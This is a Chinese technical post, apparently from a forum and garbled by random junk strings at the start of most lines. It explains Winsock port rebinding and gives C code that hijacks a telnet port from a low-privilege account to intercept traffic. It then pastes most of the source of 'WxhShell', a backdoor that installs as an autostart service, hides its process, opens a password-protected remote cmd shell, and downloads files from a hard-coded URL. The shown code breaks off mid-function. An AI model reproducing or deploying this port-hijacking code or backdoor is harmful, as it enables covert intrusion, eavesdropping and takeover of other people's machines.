在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
n*uZ=M_/Q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
`_
L|Is=n >TJ$Z3 saddr.sin_family = AF_INET;
vUNE!j lDXH<W? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
%;gWl1&5 Lr &tpB< bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
]y$C6iUY* -"H9 W: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
f#+ h_1# /+7L`KPD 这意味着什么?意味着可以进行如下的攻击:
Cm>F5$l{ ivk|-C'\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
M>j)6?n`_ =Ch#pLmH 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
$<#sCrNX '%4,! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Ks-><-2+N aV.<<OS 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
2;tp>,G9d |F`'m":$m 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
HB^azHr '`"&RuB 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
F'!}$oT" Wov_jVdN\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+d96Z^KUhv cm<3'#~Q? #include
Ws@s(5r #include
9p<l}h7g #include
b/`'?|
C #include
j|9 2
g DWORD WINAPI ClientThread(LPVOID lpParam);
I1jF`xQ&0 int main()
Q[^d{e*l {
bx>D WORD wVersionRequested;
vC1 `m DWORD ret;
d+;~x* WSADATA wsaData;
,`b9c=6; BOOL val;
#c_ZU\"h" SOCKADDR_IN saddr;
,\b5M`<c SOCKADDR_IN scaddr;
.#}R$}e+ int err;
V7<}
;Lzm SOCKET s;
7y&`H SOCKET sc;
%,BJkNV int caddsize;
t/w>t! q HANDLE mt;
8?!Vr1x DWORD tid;
c`cPGEv wVersionRequested = MAKEWORD( 2, 2 );
Yy]Henw; err = WSAStartup( wVersionRequested, &wsaData );
(H7q [UG| if ( err != 0 ) {
$I%]jAh6 printf("error!WSAStartup failed!\n");
.*{LPfD| return -1;
H{If\B%1t }
3ly|y{M", saddr.sin_family = AF_INET;
fQdQ[ .'M]cN~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
a>6p])Wh \uH;ng|m saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
n&^Rs)%v saddr.sin_port = htons(23);
ek<U2C_u# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Bb6_['y {
1?;s!6= printf("error!socket failed!\n");
"#%T*c{Tf0 return -1;
}N NyUwFa }
tQ"PCm
val = TRUE;
F/h)azcn //SO_REUSEADDR选项就是可以实现端口重绑定的
Z q)A"'Y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Bs*s8}6 {
8in8_/x printf("error!setsockopt failed!\n");
r QF%; return -1;
:HC{6W`$ }
9S}PCAA; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
` $}[np| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
'" 6VfF)* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^B<jMt c8'?Dd if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;XjKWM; {
gyIPG2d ret=GetLastError();
RAvV[QkT printf("error!bind failed!\n");
f-PDgs return -1;
pLRHwL. }
TA*49Qp listen(s,2);
'sC{d&c while(1)
q?wBh^ {
^(%>U!<<%, caddsize = sizeof(scaddr);
.[7m4iJf //接受连接请求
Kgcg:r: sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`C3F?Lch if(sc!=INVALID_SOCKET)
~be&T:7. {
`#~@f!'; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
7J)-WXk if(mt==NULL)
>PTq5pk {
=d9%ce printf("Thread Creat Failed!\n");
~{J.br` break;
2HUoT\M }
}wn GOr }
|oX l+&u CloseHandle(mt);
a83o(9 }
Bi]%bl>% closesocket(s);
iC
2:P~ WSACleanup();
g\2Y605DM return 0;
GerZA# }
0=~Ji_5mB DWORD WINAPI ClientThread(LPVOID lpParam)
Zu!3RN[lp? {
R6ywc"xE SOCKET ss = (SOCKET)lpParam;
M
C>{I3 SOCKET sc;
Zscmc;G unsigned char buf[4096];
%"o4IYV# SOCKADDR_IN saddr;
Mb-C DPT long num;
tUzuel* DWORD val;
&_ber ad DWORD ret;
xi ^_C!*J //如果是隐藏端口应用的话,可以在此处加一些判断
]:F]VRPT //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
fZgZ saddr.sin_family = AF_INET;
8YCtU9D saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
7:]I@Gc' saddr.sin_port = htons(23);
u4%-e)$X if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-)w/nq {
avdi9!J2 printf("error!socket failed!\n");
OA[w|Tt return -1;
.iw+# }
:[Fwc val = 100;
)V3G~p=0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
kIQMIL0+ {
Xf:-K(%e ret = GetLastError();
bBGLf)fsTG return -1;
4!D!.t~r }
a&j
H9 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g8^ $, {
qz?9:"~$C ret = GetLastError();
k9a-\UIMet return -1;
VEJ Tw }
*T 6<'a if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
vAX %i( 4 {
?'^xO: printf("error!socket connect failed!\n");
7&2xUcsz) closesocket(sc);
LFtnSB8 closesocket(ss);
[<6ez;2q' return -1;
~Xa >; }
~zi&u46 while(1)
w<>B4m\ {
Xq9%{'9 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ktnsq&qNL //如果是嗅探内容的话,可以再此处进行内容分析和记录
1_%3cN. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Rzw}W7zg[ num = recv(ss,buf,4096,0);
@qI^xs=Z if(num>0)
k |M send(sc,buf,num,0);
J-b
Z`)[Q else if(num==0)
%G>*Pez% break;
}{HlY?S num = recv(sc,buf,4096,0);
e_7a9:2e if(num>0)
Ymx/N+Jl send(ss,buf,num,0);
*&!&Y*Jzg else if(num==0)
.a?GC( break;
K-#v5_* }
fE,\1LK4 closesocket(ss);
ZxY%x/K closesocket(sc);
Ee^2stc- return 0 ;
G8H=xr# }
</Ja@% |G }qY5_ #TXgV0\F ==========================================================
QrDI$p7;' *$Bx#0J8 下边附上一个代码,,WXhSHELL
qo/`9%^E? #Mrof9 ==========================================================
L`3x0u2 b@"#A8M #include "stdafx.h"
1)w^.8f U%_BgLwy% #include <stdio.h>
WQK ~;GV- #include <string.h>
7;5SK:X%dm #include <windows.h>
G,3.'S,7 #include <winsock2.h>
)$XcO] #include <winsvc.h>
m?0caLw< #include <urlmon.h>
vjmNS=l /c6:B5G #pragma comment (lib, "Ws2_32.lib")
^|gD;OED7O #pragma comment (lib, "urlmon.lib")
^,*!Qk<c BRyrdt*_e #define MAX_USER 100 // 最大客户端连接数
8k vG<&D #define BUF_SOCK 200 // sock buffer
_ 5nLrn,~ #define KEY_BUFF 255 // 输入 buffer
v*U OD'tk A63=$ #define REBOOT 0 // 重启
!E#FzY!}Pl #define SHUTDOWN 1 // 关机
nW1u;. I82GZL #define DEF_PORT 5000 // 监听端口
dv1Y2[ M8(N9)N #define REG_LEN 16 // 注册表键长度
f0S$p
R #define SVC_LEN 80 // NT服务名长度
jI[Y< (F ; b9X"p*'p // 从dll定义API
b8@?fC+tm typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
gwO]U=Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
n|q$=jE typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
clyZD`* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_<}oBh ;auT!a~a# // wxhshell配置信息
fAYp\k struct WSCFG {
crTRfqF int ws_port; // 监听端口
}xJ ).D char ws_passstr[REG_LEN]; // 口令
8Mg wXH int ws_autoins; // 安装标记, 1=yes 0=no
SI\
O>a9{ char ws_regname[REG_LEN]; // 注册表键名
<5BNcl\ZL char ws_svcname[REG_LEN]; // 服务名
&!N9.e:-] char ws_svcdisp[SVC_LEN]; // 服务显示名
%0&59q]LM char ws_svcdesc[SVC_LEN]; // 服务描述信息
J;wDvt]]1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
YMXhzqj int ws_downexe; // 下载执行标记, 1=yes 0=no
OXDEU. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/3#) char ws_filenam[SVC_LEN]; // 下载后保存的文件名
K-<<s #:[^T,YD0 };
`8M{13fv t.X8c/,;g // default Wxhshell configuration
a!guZUg6 struct WSCFG wscfg={DEF_PORT,
jJbS{1z "xuhuanlingzhe",
D6N32q@ 1,
rJtpTV@. "Wxhshell",
#7v=#Jco "Wxhshell",
U'*~Ju "WxhShell Service",
7G':h0i8 "Wrsky Windows CmdShell Service",
%/.yGAPkx "Please Input Your Password: ",
_O#R,Y2# 1,
cfSQqH "
http://www.wrsky.com/wxhshell.exe",
Yc^;?n`x "Wxhshell.exe"
6
9+Pf* };
Xnc?oT+ }-/oL+j // 消息定义模块
0(qtn9;=2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
H'a6]
]2 char *msg_ws_prompt="\n\r? for help\n\r#>";
Be;l!]i char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
y?OK#,j char *msg_ws_ext="\n\rExit.";
'u}OeS"f char *msg_ws_end="\n\rQuit.";
ze"`5z26| char *msg_ws_boot="\n\rReboot...";
_D"V^4^yqu char *msg_ws_poff="\n\rShutdown...";
hik.c3 char *msg_ws_down="\n\rSave to ";
2,'~'
W>y> char *msg_ws_err="\n\rErr!";
Bi-x
gq'z char *msg_ws_ok="\n\rOK!";
.VXadgM pddumbp char ExeFile[MAX_PATH];
`}.jH1Fx/m int nUser = 0;
adY ,Nz HANDLE handles[MAX_USER];
<H,E1kGw9 int OsIsNt;
bUU\bc k|4}Do%; SERVICE_STATUS serviceStatus;
}y>/#]X SERVICE_STATUS_HANDLE hServiceStatusHandle;
|Ml~_m y3@m1>]09 // 函数声明
O%s7 }bR3 int Install(void);
z?<Xx?Kk int Uninstall(void);
a! gj_ int DownloadFile(char *sURL, SOCKET wsh);
&0x;60b int Boot(int flag);
^UmhSxQ## void HideProc(void);
Qa#Em1co int GetOsVer(void);
^Ycn&`s int Wxhshell(SOCKET wsl);
v`&>m' void TalkWithClient(void *cs);
4D)M_O int CmdShell(SOCKET sock);
+OaBA>Jh9 int StartFromService(void);
gY {/)" int StartWxhshell(LPSTR lpCmdLine);
U _sM==~ O-(gkE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
7hlzuZob+y VOID WINAPI NTServiceHandler( DWORD fdwControl );
]?sw<D{ sjy/[.4- // 数据结构和表定义
@HQqHO&N SERVICE_TABLE_ENTRY DispatchTable[] =
f]NaQ!.
7 {
xey?.2K1A {wscfg.ws_svcname, NTServiceMain},
Ug#EAV<m {NULL, NULL}
L_5o7~`0 };
T
s9go ZFC&&[%-sG // 自我安装
@rE+H
5 int Install(void)
@{@DGc {
~Dbu;cqR@ char svExeFile[MAX_PATH];
*#.Ku(C+ HKEY key;
\2 Yo*jE} strcpy(svExeFile,ExeFile);
a|-B# S m$`4.>J // 如果是win9x系统,修改注册表设为自启动
ffy,ds_7 if(!OsIsNt) {
t=IM"ZgfL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0ZJrK\K; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6m0-he~ RegCloseKey(key);
&[t} /+) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9~v#]Q}Z}4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uoq|l RegCloseKey(key);
F;ELsg return 0;
Dco3`4pl }
CqLAtS X7 }
8Xa{.y" }
\7WZFh%: else {
lm8<0*;, ({<qs}H" // 如果是NT以上系统,安装为系统服务
^f] 9^U{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
_^h?JTU^ if (schSCManager!=0)
wV q4DE {
Mk/ZEy q^ SC_HANDLE schService = CreateService
v*&WqVg (
2OwO|n schSCManager,
ow9Vj$m wscfg.ws_svcname,
0Wb3M"#9< wscfg.ws_svcdisp,
YK V"bI
SERVICE_ALL_ACCESS,
(m() r0:@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
2Uy}#n|)r SERVICE_AUTO_START,
u vyvy SERVICE_ERROR_NORMAL,
F\ %PB p svExeFile,
u>.>hQ NULL,
~>uu1[/ NULL,
,-V7~gM%} NULL,
Lpk`qJ NULL,
T^@P.zX NULL
`aL4YH-v );
iza.' Mm~ if (schService!=0)
FTh/1"a {
/t04}+,e^ CloseServiceHandle(schService);
l(3\ekU! CloseServiceHandle(schSCManager);
l8 XY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
CTZ#QiNP strcat(svExeFile,wscfg.ws_svcname);
to#T+d.(v if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
ui&^ m, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
]g]~!": RegCloseKey(key);
%(~8a return 0;
b/UjKNf@ }
jN%+)Kj0C) }
L[Y|K%;~ CloseServiceHandle(schSCManager);
J';XAB } }
cJ#%OU3p }
!}J19]\ R 5Cy% return 1;
8 O.5ML{ }
`cqZ;(^ J1d|L|M // 自我卸载
&Ui&2EW int Uninstall(void)
e
ls&_BPE {
yHxi^D] HKEY key;
@l?2", 3&Fqd if(!OsIsNt) {
pJ_>^i= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
oI9-jW RegDeleteValue(key,wscfg.ws_regname);
u\@L|rh RegCloseKey(key);
QW>(LG G= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h<FEe~ RegDeleteValue(key,wscfg.ws_regname);
7J$Yd976 RegCloseKey(key);
.GuZV' return 0;
qD>D }
=ve, ! }
Nu6]R677Y }
\2AXW@xE else {
TmdRB8N `bEum3l\6] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
-P$E)5?^ if (schSCManager!=0)
Yd$64d7,h {
DZ&AwF SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
nXxSv~r if (schService!=0)
>}B~~C; {
z<s4-GJ)? if(DeleteService(schService)!=0) {
D;OR?NdgvW CloseServiceHandle(schService);
3bMUsyJ 2 CloseServiceHandle(schSCManager);
!'
jXN82 return 0;
4W+%`x_U] }
k?'PCV CloseServiceHandle(schService);
)4bZ;'B5 }
{#%;Hq P CloseServiceHandle(schSCManager);
}$1Aw%p^ }
Gq^#.o] }
x^JjoI2vf }NETiJ"6 return 1;
;@I}eZ,f$ }
2s8(r8 AI }S>:!9f // 从指定url下载文件
z,/y2H2 int DownloadFile(char *sURL, SOCKET wsh)
M^~ {
gb@ |\n HRESULT hr;
My\ char seps[]= "/";
V39)[FH} char *token;
>jBnNA@ char *file;
o!M*cyq char myURL[MAX_PATH];
AZadNuL/ char myFILE[MAX_PATH];
T#w *5Qf d^jIsE ` strcpy(myURL,sURL);
cRC)99HP token=strtok(myURL,seps);
Ow7I`#P while(token!=NULL)
>zWVM1\\j {
9TILrK file=token;
kEs=N( token=strtok(NULL,seps);
*oz=k }
0!,)7 .j 0]hn] GetCurrentDirectory(MAX_PATH,myFILE);
{T[/B"QZG strcat(myFILE, "\\");
rCO:39L- strcat(myFILE, file);
"rIBy send(wsh,myFILE,strlen(myFILE),0);
o'nrLI(t send(wsh,"...",3,0);
hy|X(m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
7&9'=G if(hr==S_OK)
wq"AW yu return 0;
D^H<)5d9 else
1MzOHE return 1;
me`(J y< Ig6>+Mw }
i iZK^/P$ J#y?^Qm$)< // 系统电源模块
dSBW&-p int Boot(int flag)
Ctxx.MM {
DeTZl+qm1E HANDLE hToken;
SAGLLk07G TOKEN_PRIVILEGES tkp;
8M;G@ Q80 |_;Vb if(OsIsNt) {
0\y@etb:mf OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
c{t[iXDG LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
u!DSyHR
' tkp.PrivilegeCount = 1;
U"v}br-kb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~ ]q^Akq AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
'E,Bl]8C5 if(flag==REBOOT) {
kM\O2ay if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
tEl4 !vA return 0;
lYu1m }
;DKwv} else {
!&Q3>8l if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
mckrR$> return 0;
"@I"0OA }
cuP5cL/Y }
S:"t]gbF = else {
N{G+|WmQ if(flag==REBOOT) {
UI:{*N**Z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
eMvb*X6 return 0;
Z qg(\ }
{q:o}<-L+ else {
HH|&$C|64 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(&$|R\W. return 0;
1XO*yZF }
Mr(~
* }
Yn}_"FO' 9c=_p'G3Fw return 1;
-$4%@Z }
WLWE%bDP ?WX&,ew~ // win9x进程隐藏模块
Cs
%-f" void HideProc(void)
BKm$H!u {
O/\jkF )gCHwu HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
k852M^JP if ( hKernel != NULL )
soZw""|v {
QWf)5S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Rh%/xG#k ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
bkl'0
p FreeLibrary(hKernel);
)8yee~+TN }
OR^Wd -j[n^y'v return;
6mBX{-Z[ }
MOG[cp kI3-G~2 // 获取操作系统版本
+2w54X%?M int GetOsVer(void)
WJU`
g {
j#U?'g OSVERSIONINFO winfo;
Y(SgfWeK@1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
tGd<{nF% 2 GetVersionEx(&winfo);
|b/J$.R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
IR%a+;Xs return 1;
9kP!O_ else
vmOXB#7W return 0;
9,'5~+7 }
<E
BgHD) Prhq ~oI4 // 客户端句柄模块
4T9hT~cT7 int Wxhshell(SOCKET wsl)
%~ecrQ; {
4W.;p"S2 SOCKET wsh;
%`}CbD6 struct sockaddr_in client;
uPV,-rm[F_ DWORD myID;
$_Qo A0rdQmrOL while(nUser<MAX_USER)
Ytx+7OLe {
ojVpw4y. int nSize=sizeof(client);
BPrA*u}T wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
6EK+] 0 if(wsh==INVALID_SOCKET) return 1;
6DJ,/J2F :<&}/r handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
DcbL$9UI if(handles[nUser]==0)
Bw*z4qb{yH closesocket(wsh);
vtmO else
d!KX.K\NM, nUser++;
Bd O$ }
&J hN&Ur WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
vo`wYJ3W fsjA7)/ return 0;
y=vH8D]%X }
e^Xij Id. AD?DIE(v // 关闭 socket
6ddkUPTF void CloseIt(SOCKET wsh)
M:`hb$k: {
f/;\/Q[Z7 closesocket(wsh);
I I>2\d|
nUser--;
sjTsaM;< ExitThread(0);
$xu?zd" }
;wQWt_OtuJ % C
3jxt // 客户端请求句柄
:GK{JP void TalkWithClient(void *cs)
j5'Jp} {
fr#lH3 `8dE8:#Y SOCKET wsh=(SOCKET)cs;
Xp} vJl char pwd[SVC_LEN];
~#a1]w char cmd[KEY_BUFF];
eN>
(IW char chr[1];
>>$IHz4Z" int i,j;
RaU.yCYyu dWqFP while (nUser < MAX_USER) {
Ix"c<1I cZ!s/^o?f if(wscfg.ws_passstr) {
iQ9#gPk_9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
U[A*A^$c} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ab2g),;c //ZeroMemory(pwd,KEY_BUFF);
CY>NU i=0;
rIb[gm)Rk while(i<SVC_LEN) {
5&X Ve8! // 设置超时
==XP}w)m fd_set FdRead;
9)l_(*F struct timeval TimeOut;
y9*H FD_ZERO(&FdRead);
k9Sqp:l, FD_SET(wsh,&FdRead);
q6Q=Zo@ TimeOut.tv_sec=8;
|Lhz^5/ TimeOut.tv_usec=0;
oy r2lfz* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Y$ChMf if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
R NA03 amBz75N{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
:x{Q pwd
=chr[0]; 68HX,t
if(chr[0]==0xd || chr[0]==0xa) { /XSPVc<
pwd=0; b(SV_.4,'
break; #`p>VXBj!
} GVl
u4
i++; @^` <iTK&p
} /M3D[aR<d
z'qVEHc)
// 如果是非法用户,关闭 socket 7%E1F)%
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GcU/
} -YuvEm#f
h+74W0
$
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <y.D0^68
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "q`%d_
i9xv`Ev=R
while(1) { W1@;94Sb~
X#3<hN*v
ZeroMemory(cmd,KEY_BUFF); `U g.c
6#KI?
6
// 自动支持客户端 telnet标准 Dz50,*}J
j=0; 13QCM0#
while(j<KEY_BUFF) { 8zc!g|5"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r/4]b]n
cmd[j]=chr[0]; P+b^;+\1s
if(chr[0]==0xa || chr[0]==0xd) { Oq2H>eW`f
cmd[j]=0; Iv<9})2K
break; z;/'OJ[.
} *SY4lqN
j++; 'QS"4EvdD
} mN eW|3a
x>J3tp$2
// 下载文件 WvJ?e
if(strstr(cmd,"http://")) { Pu^~]^W)
send(wsh,msg_ws_down,strlen(msg_ws_down),0); pMB=iS<E
if(DownloadFile(cmd,wsh)) 7P`1)juA9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Z$6JNkz
else >o} ati
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s =5H.q%PV
} yhdG 93
else { bvgD;:Aj
O2,g]t~C
switch(cmd[0]) { W<LaR,7
>ek%P;2w>
// 帮助 od}x7RI%m
case '?': { 'YR5i^:t
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w+37'vQ
break; yo.SPd="Vx
} ,>UmKrYo
// 安装 *i{.@RX?
case 'i': { 8QN8bGxK
if(Install()) m6x. "jG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ozv.;}SE
else Zd(d]M_x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i/J NG
break; 1QJ$yr
} )A0&16<
// 卸载
7q:bBS
case 'r': { 0tqR wKL
if(Uninstall()) ee_\_"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tqa4~|6
else 9AYe,R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @c!67Z
break; 4) 3pa*
} H ZLOn
// 显示 wxhshell 所在路径 lDU:EJ&DHE
case 'p': { !5OMAWNU@
char svExeFile[MAX_PATH]; BNCJT$tYX
strcpy(svExeFile,"\n\r"); sOxdq"E
strcat(svExeFile,ExeFile); t60/f&A#7H
send(wsh,svExeFile,strlen(svExeFile),0); +7/*y}.U
break; `Y\/US70{c
} 9`v:$(I
// 重启 L||yQH7n
case 'b': { ZY!pw6R1>*
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 02^(z6K'&?
if(Boot(REBOOT)) qX'a&~s)n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :UcS$M1LE
else { OZ;E&IL
closesocket(wsh); 0o|,& K
ExitThread(0); _A|\.(t
} g$"eI/o
break; S.)7u6/_!
} N&ql(#r
// 关机 IVzA>Vd
case 'd': { \u_v7g
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4<g72| y
if(Boot(SHUTDOWN)) >.hGoT!_k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HCIF9{o1j>
else { aF{i
A\
closesocket(wsh); ')<FLCFwT
ExitThread(0); lq8ko@
} :J`!'{r
break; C)96/k
} i>Bi&azx
// 获取shell 6&QTVdK'O
case 's': { _
1{5~
CmdShell(wsh); 0bxvM
closesocket(wsh); ,okJ eZ
ExitThread(0); .&x?`pER
break; -mHhB(Td'
} z{3%Hq
// 退出 /Tf*d>Yh;
case 'x': { 0*;9CH=BE
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :5K~/=6x
CloseIt(wsh); f76|
break; 6>BDA?
} kw^Dp[8X
// 离开 @!a]qAt
case 'q': { T7,Gf({
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;]ShC\1
closesocket(wsh); )4)iANH?
WSACleanup(); 31sgf5 s
exit(1); C$RAJ
break; O mh&)|Iql
} Fl+tbF
} KO]?>>5S6
} l6B ^sc*@
gqdB!l4
// 提示信息 KaQq[a
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eN<pU%7
} \m~\,em
} v6P~XK}G
R`C_CsXir
return; "">fn(
} %cr]ZR
PDq}Tq
// shell模块句柄 LYy:IBI7_
int CmdShell(SOCKET sock) T3t~=b>&L
{ Ul713Bjz
STARTUPINFO si; Fma`Cm.
ZeroMemory(&si,sizeof(si)); mf;^b.mKh
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
h[|zs>p
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dI
ZTLb"a
PROCESS_INFORMATION ProcessInfo; SeZT4y*=
char cmdline[]="cmd"; GE~(N N
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E2h;hr;W
return 0; WQLHjGehe
} t2-nCRXEP
}M9DqZ;I
// 自身启动模式 Nzi/3r7m
int StartFromService(void) ^Q)gsJY|I
{ /Xu;/MMpd3
typedef struct Z:o
86~su
{ Vi?~0.Z%
DWORD ExitStatus; gLxT6v5wk.
DWORD PebBaseAddress; *L4]\wf
DWORD AffinityMask; ngkeJ)M0$
